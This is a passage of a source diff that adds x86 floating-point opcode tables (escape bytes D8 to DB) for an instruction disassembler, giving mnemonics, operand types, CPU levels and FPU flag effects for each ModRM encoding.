+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsubr", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // xB
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsubr", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // xC
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsubr", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // xD
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsubr", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // xE
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsubr", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // xF
+ // F0-F7
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdiv", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x0
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdiv", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x1
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdiv", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x2
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdiv", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x3
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdiv", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x4
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdiv", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x5
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdiv", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x6
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdiv", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x7
+ // F8-FF
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdivr", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x8
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdivr", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x9
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdivr", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // xA
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdivr", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // xB
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdivr", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // xC
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdivr", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // xD
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdivr", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // xE
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdivr", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED } // xF
+};
+
+
+X86_OPCODE X86_ESC_1[0x48] = // D9
+{
+ //
+ // ModRM < C0
+ // Index 0x00-0x07 = opcode extension
+ //
+
+ { NOGROUP, CPU_I287, ITYPE_FLOAD, "fld", { AMODE_M | OPTYPE_ss | OP_SRC, 0, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_PUSH, IGNORED }, // 0x00
+ { NOINSTR }, // 0x01
+ { NOGROUP, CPU_I287, ITYPE_FSTORE, "fst", { AMODE_M | OPTYPE_ss | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // 0x02
+ { NOGROUP, CPU_I287, ITYPE_FSTORE, "fstp", { AMODE_M | OPTYPE_ss | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // 0x03
+ { NOGROUP, CPU_I287, ITYPE_FLOADENV, "fldenv", { AMODE_M | OPTYPE_fev | OP_SRC, 0 }, NOCOND, FPU_ALL_MOD, NOACTION, IGNORED }, // 0x04
+ { NOGROUP, CPU_I287, ITYPE_FLOAD, "fldcw", { OPTYPE_FPU_CONTROL | OP_DST, AMODE_M | OPTYPE_w | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // 0x05
+ { NOGROUP, CPU_I287, ITYPE_FSTORE, "fstenv", { AMODE_M | OPTYPE_fev | OP_DST, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // 0x06
+ { NOGROUP, CPU_I287, ITYPE_FSTORE, "fnstcw", { AMODE_M | OPTYPE_w | OP_DST, OPTYPE_FPU_CONTROL | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // 0x07
+
+ //
+ // ModRM >= C0
+ // Index 0x08-0x47 = ModRM 0xC0-0xFF
+ //
+
+ // C0-C7
+ { NOGROUP, CPU_I287, ITYPE_FLOAD, "fld", { OPTYPE_STx | OP_SRC, 0, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_PUSH, IGNORED }, // x0
+ { NOGROUP, CPU_I287, ITYPE_FLOAD, "fld", { OPTYPE_STx | OP_SRC, 0, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_PUSH, IGNORED }, // x1
+ { NOGROUP, CPU_I287, ITYPE_FLOAD, "fld", { OPTYPE_STx | OP_SRC, 0, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_PUSH, IGNORED }, // x2
+ { NOGROUP, CPU_I287, ITYPE_FLOAD, "fld", { OPTYPE_STx | OP_SRC, 0, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_PUSH, IGNORED }, // x3
+ { NOGROUP, CPU_I287, ITYPE_FLOAD, "fld", { OPTYPE_STx | OP_SRC, 0, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_PUSH, IGNORED }, // x4
+ { NOGROUP, CPU_I287, ITYPE_FLOAD, "fld", { OPTYPE_STx | OP_SRC, 0, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_PUSH, IGNORED }, // x5
+ { NOGROUP, CPU_I287, ITYPE_FLOAD, "fld", { OPTYPE_STx | OP_SRC, 0, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_PUSH, IGNORED }, // x6
+ { NOGROUP, CPU_I287, ITYPE_FLOAD, "fld", { OPTYPE_STx | OP_SRC, 0, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_PUSH, IGNORED }, // x7
+ // C8-CF
+ { NOGROUP, CPU_I287, ITYPE_FEXCH, "fxch", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC | OP_DST, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x8
+ { NOGROUP, CPU_I287, ITYPE_FEXCH, "fxch", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC | OP_DST, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x9
+ { NOGROUP, CPU_I287, ITYPE_FEXCH, "fxch", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC | OP_DST, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // xA
+ { NOGROUP, CPU_I287, ITYPE_FEXCH, "fxch", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC | OP_DST, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // xB
+ { NOGROUP, CPU_I287, ITYPE_FEXCH, "fxch", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC | OP_DST, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // xC
+ { NOGROUP, CPU_I287, ITYPE_FEXCH, "fxch", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC | OP_DST, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // xD
+ { NOGROUP, CPU_I287, ITYPE_FEXCH, "fxch", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC | OP_DST, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // xE
+ { NOGROUP, CPU_I287, ITYPE_FEXCH, "fxch", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC | OP_DST, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // xF
+ // D0-D7
+ { NOGROUP, CPU_I287, ITYPE_FPU, "fnop", NOARGS, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x0
+ { NOINSTR }, // x1
+ { NOINSTR }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOINSTR }, // x6
+ { NOINSTR }, // x7
+ // D8-DF
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOINSTR }, // xA
+ { NOINSTR }, // xB
+ { NOINSTR }, // xC
+ { NOINSTR }, // xD
+ { NOINSTR }, // xE
+ { NOINSTR }, // xF
+ // E0-E7
+ { NOGROUP, CPU_I287, ITYPE_FPU, "fchs", { OPTYPE_ST0 | OP_SRC | OP_DST, 0, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x0
+ { NOGROUP, CPU_I287, ITYPE_FPU, "fabs", { OPTYPE_ST0 | OP_SRC | OP_DST, 0, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x1
+ { NOINSTR }, // x2
+ { NOINSTR }, // x3
+ { NOGROUP, CPU_I287, ITYPE_FPU, "ftst", { OPTYPE_ST0 | OP_SRC, OPTYPE_FLDZ | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x4
+ { NOGROUP, CPU_I287, ITYPE_FPU, "fxam", { OPTYPE_ST0 | OP_SRC, 0, 0 }, NOCOND, FPU_ALL_MOD, NOACTION, IGNORED }, // x5
+ { NOINSTR }, // x6
+ { NOINSTR }, // x7
+ // E8-EF
+ { NOGROUP, CPU_I287, ITYPE_FLOAD, "fld1", { OPTYPE_FLD1 | OP_SRC, 0, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_PUSH, IGNORED }, // x8
+ { NOGROUP, CPU_I287, ITYPE_FLOAD, "fldl2t", { OPTYPE_FLDL2T | OP_SRC, 0, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_PUSH, IGNORED }, // x9
+ { NOGROUP, CPU_I287, ITYPE_FLOAD, "fldl2e", { OPTYPE_FLDL2E | OP_SRC, 0, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_PUSH, IGNORED }, // xA
+ { NOGROUP, CPU_I287, ITYPE_FLOAD, "fldpi", { OPTYPE_FLDPI | OP_SRC, 0, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_PUSH, IGNORED }, // xB
+ { NOGROUP, CPU_I287, ITYPE_FLOAD, "fldlg2", { OPTYPE_FLDLG2| OP_SRC, 0, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_PUSH, IGNORED }, // xC
+ { NOGROUP, CPU_I287, ITYPE_FLOAD, "fldln2", { OPTYPE_FLDLN2 | OP_SRC, 0, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_PUSH, IGNORED }, // xD
+ { NOGROUP, CPU_I287, ITYPE_FLOAD, "fldz", { OPTYPE_FLDZ | OP_SRC, 0, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_PUSH, IGNORED }, // xE
+ { NOINSTR }, // xF
+ // F0-F7
+ { NOGROUP, CPU_I287, ITYPE_FPU, "f2xm1", { OPTYPE_ST0 | OP_SRC | OP_DST, 0, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x0
+ { NOGROUP, CPU_I287, ITYPE_FPU, "fyl2x", { OPTYPE_ST1 | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x1
+ { NOGROUP, CPU_I287, ITYPE_FPU, "fptan", { OPTYPE_ST0 | OP_SRC | OP_DST, 0, 0 }, NOCOND, FPU_C1_MOD|FPU_C2_MOD, FPU_STACK_PUSH, IGNORED }, // x2
+ { NOGROUP, CPU_I287, ITYPE_FPU, "fpatan", { OPTYPE_ST1 | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC , 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // x3
+ { NOGROUP, CPU_I287, ITYPE_FPU, "fxtract", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_ST1 | OP_DST, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_PUSH, IGNORED }, // x4
+ { NOGROUP, CPU_I387, ITYPE_FPU, "fprem1", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_ST1 | OP_SRC, 0 }, NOCOND, FPU_ALL_MOD, NOACTION, IGNORED }, // x5
+ { NOGROUP, CPU_I287, ITYPE_FPU, "fdecstp", NOARGS, NOCOND, FPU_C1_MOD, FPU_STACK_DEC, IGNORED }, // x6
+ { NOGROUP, CPU_I287, ITYPE_FPU, "fincstp", NOARGS, NOCOND, FPU_C1_MOD, FPU_STACK_INC, IGNORED }, // x7
+ // F8-FF
+ { NOGROUP, CPU_I287, ITYPE_FPU, "fprem", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_ST1 | OP_SRC, 0 }, NOCOND, FPU_ALL_MOD, NOACTION, IGNORED }, // x8
+ { NOGROUP, CPU_I287, ITYPE_FPU, "fyl2xp1", { OPTYPE_ST1 | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // x9
+ { NOGROUP, CPU_I287, ITYPE_FPU, "fsqrt", { OPTYPE_ST0 | OP_SRC | OP_DST, 0, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // xA
+ { NOGROUP, CPU_I287, ITYPE_FPU, "fsincos", { OPTYPE_ST0 | OP_SRC | OP_DST, 0, 0 }, NOCOND, FPU_C1_MOD|FPU_C2_MOD, FPU_STACK_PUSH, IGNORED }, // xB
+ { NOGROUP, CPU_I287, ITYPE_FPU, "frndint", { OPTYPE_ST0 | OP_SRC | OP_DST, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xC
+ { NOGROUP, CPU_I287, ITYPE_FPU, "fscale", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_ST1 | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xD
+ { NOGROUP, CPU_I287, ITYPE_FPU, "fsin", { OPTYPE_ST0 | OP_SRC | OP_DST, 0, 0 }, NOCOND, FPU_C1_MOD|FPU_C2_MOD, NOACTION, IGNORED }, // xE
+ { NOGROUP, CPU_I287, ITYPE_FPU, "fcos", { OPTYPE_ST0 | OP_SRC | OP_DST, 0, 0 }, NOCOND, FPU_C1_MOD|FPU_C2_MOD, NOACTION, IGNORED } // xF
+};
+
+
+X86_OPCODE X86_ESC_2[0x48] = // DA
+{
+ //
+ // ModRM < C0
+ // Index 0x00-0x07 = opcode extension
+ //
+
+ { NOGROUP, CPU_I287, ITYPE_FADD, "fiadd", { OPTYPE_ST0 | OP_SIGNED | OP_SRC | OP_DST, AMODE_M | OPTYPE_sd | OP_SIGNED | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x0
+ { NOGROUP, CPU_I287, ITYPE_FMUL, "fimul", { OPTYPE_ST0 | OP_SIGNED | OP_SRC | OP_DST, AMODE_M | OPTYPE_sd | OP_SIGNED | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x1
+ { NOGROUP, CPU_I287, ITYPE_FCOMP, "ficom", { AMODE_M | OPTYPE_sd | OP_SIGNED | OP_SRC, OPTYPE_ST0 | OP_SRC | OP_DST, 0 }, NOCOND, FPU_ALL_MOD, NOACTION, IGNORED }, // x2
+ { NOGROUP, CPU_I287, ITYPE_FCOMP, "ficomp", { AMODE_M | OPTYPE_sd | OP_SIGNED | OP_SRC, OPTYPE_ST0 | OP_SRC | OP_DST, 0 }, NOCOND, FPU_ALL_MOD, FPU_STACK_POP, IGNORED }, // x3
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fisub", { OPTYPE_ST0 | OP_SRC | OP_DST, AMODE_M | OPTYPE_sd | OP_SIGNED | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x4
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fisubr", { OPTYPE_ST0 | OP_SRC | OP_DST, AMODE_M | OPTYPE_sd | OP_SIGNED | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x5
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fidiv", { OPTYPE_ST0 | OP_SRC | OP_DST, AMODE_M | OPTYPE_sd | OP_SIGNED | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x6
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fidivr", { OPTYPE_ST0 | OP_SRC | OP_DST, AMODE_M | OPTYPE_sd | OP_SIGNED | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x7
+
+ //
+ // ModRM >= C0
+ // Index 0x08-0x47 = ModRM 0xC0-0xFF
+ //
+
+ // C0-C7
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FMOVCC, "fcmovb", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_COND_SRC, 0 }, COND_B, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // x0
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FMOVCC, "fcmovb", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_COND_SRC, 0 }, COND_B, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // x1
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FMOVCC, "fcmovb", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_COND_SRC, 0 }, COND_B, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // x2
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FMOVCC, "fcmovb", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_COND_SRC, 0 }, COND_B, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // x3
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FMOVCC, "fcmovb", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_COND_SRC, 0 }, COND_B, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // x4
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FMOVCC, "fcmovb", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_COND_SRC, 0 }, COND_B, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // x5
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FMOVCC, "fcmovb", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_COND_SRC, 0 }, COND_B, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // x6
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FMOVCC, "fcmovb", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_COND_SRC, 0 }, COND_B, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // x7
+ // C8-CF
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FMOVCC, "fcmove", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_COND_SRC, 0 }, COND_E, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // x8
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FMOVCC, "fcmove", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_COND_SRC, 0 }, COND_E, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // x9
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FMOVCC, "fcmove", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_COND_SRC, 0 }, COND_E, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // xA
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FMOVCC, "fcmove", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_COND_SRC, 0 }, COND_E, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // xB
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FMOVCC, "fcmove", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_COND_SRC, 0 }, COND_E, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // xC
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FMOVCC, "fcmove", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_COND_SRC, 0 }, COND_E, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // xD
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FMOVCC, "fcmove", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_COND_SRC, 0 }, COND_E, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // xE
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FMOVCC, "fcmove", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_COND_SRC, 0 }, COND_E, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // xF
+ // D0-D7
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FMOVCC, "fcmovbe", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_COND_SRC, 0 }, COND_BE, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // x0
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FMOVCC, "fcmovbe", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_COND_SRC, 0 }, COND_BE, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // x1
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FMOVCC, "fcmovbe", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_COND_SRC, 0 }, COND_BE, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // x2
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FMOVCC, "fcmovbe", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_COND_SRC, 0 }, COND_BE, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // x3
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FMOVCC, "fcmovbe", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_COND_SRC, 0 }, COND_BE, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // x4
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FMOVCC, "fcmovbe", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_COND_SRC, 0 }, COND_BE, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // x5
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FMOVCC, "fcmovbe", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_COND_SRC, 0 }, COND_BE, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // x6
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FMOVCC, "fcmovbe", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_COND_SRC, 0 }, COND_BE, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // x7
+ // D8-DF
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FMOVCC, "fcmovu", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_COND_SRC, 0 }, COND_U, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // x8
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FMOVCC, "fcmovu", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_COND_SRC, 0 }, COND_U, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // x9
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FMOVCC, "fcmovu", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_COND_SRC, 0 }, COND_U, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // xA
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FMOVCC, "fcmovu", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_COND_SRC, 0 }, COND_U, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // xB
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FMOVCC, "fcmovu", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_COND_SRC, 0 }, COND_U, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // xC
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FMOVCC, "fcmovu", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_COND_SRC, 0 }, COND_U, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // xD
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FMOVCC, "fcmovu", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_COND_SRC, 0 }, COND_U, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // xE
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FMOVCC, "fcmovu", { OPTYPE_ST0 | OP_COND_DST, OPTYPE_STx | OP_COND_SRC, 0 }, COND_U, FPU_C1_MOD, OP1_DST | OP2_SRC, NOACTION }, // xF
+ // E0-E7
+ { NOINSTR }, // x0
+ { NOINSTR }, // x1
+ { NOINSTR }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOINSTR }, // x6
+ { NOINSTR }, // x7
+ // E8-EF
+ { NOINSTR }, // x8
+ { NOGROUP, CPU_I387, ITYPE_FCOMP, "fucompp", { OPTYPE_ST1 | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_ALL_MOD, FPU_STACK_POP2, IGNORED }, // x9
+ { NOINSTR }, // xA
+ { NOINSTR }, // xB
+ { NOINSTR }, // xC
+ { NOINSTR }, // xD
+ { NOINSTR }, // xE
+ { NOINSTR }, // xF
+ // F0-F7
+ { NOINSTR }, // x0
+ { NOINSTR }, // x1
+ { NOINSTR }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOINSTR }, // x6
+ { NOINSTR }, // x7
+ // F8-FF
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOINSTR }, // xA
+ { NOINSTR }, // xB
+ { NOINSTR }, // xC
+ { NOINSTR }, // xD
+ { NOINSTR }, // xE
+ { NOINSTR } // xF
+};
+
+
+
+X86_OPCODE X86_ESC_3[0x48] = // DB
+{
+ //
+ // ModRM < C0
+ // Index 0x00-0x07 = opcode extension
+ //
+
+ { NOGROUP, CPU_I287, ITYPE_FLOAD, "fild", { AMODE_M | OPTYPE_d | OP_SIGNED | OP_SRC, 0, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_PUSH, IGNORED }, // 0x00
+ { NOGROUP, CPU_PENTIUM4, ITYPE_FSTORE, "fisttp", { AMODE_M | OPTYPE_d | OP_SIGNED | OP_SRC, 0, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // 0x01
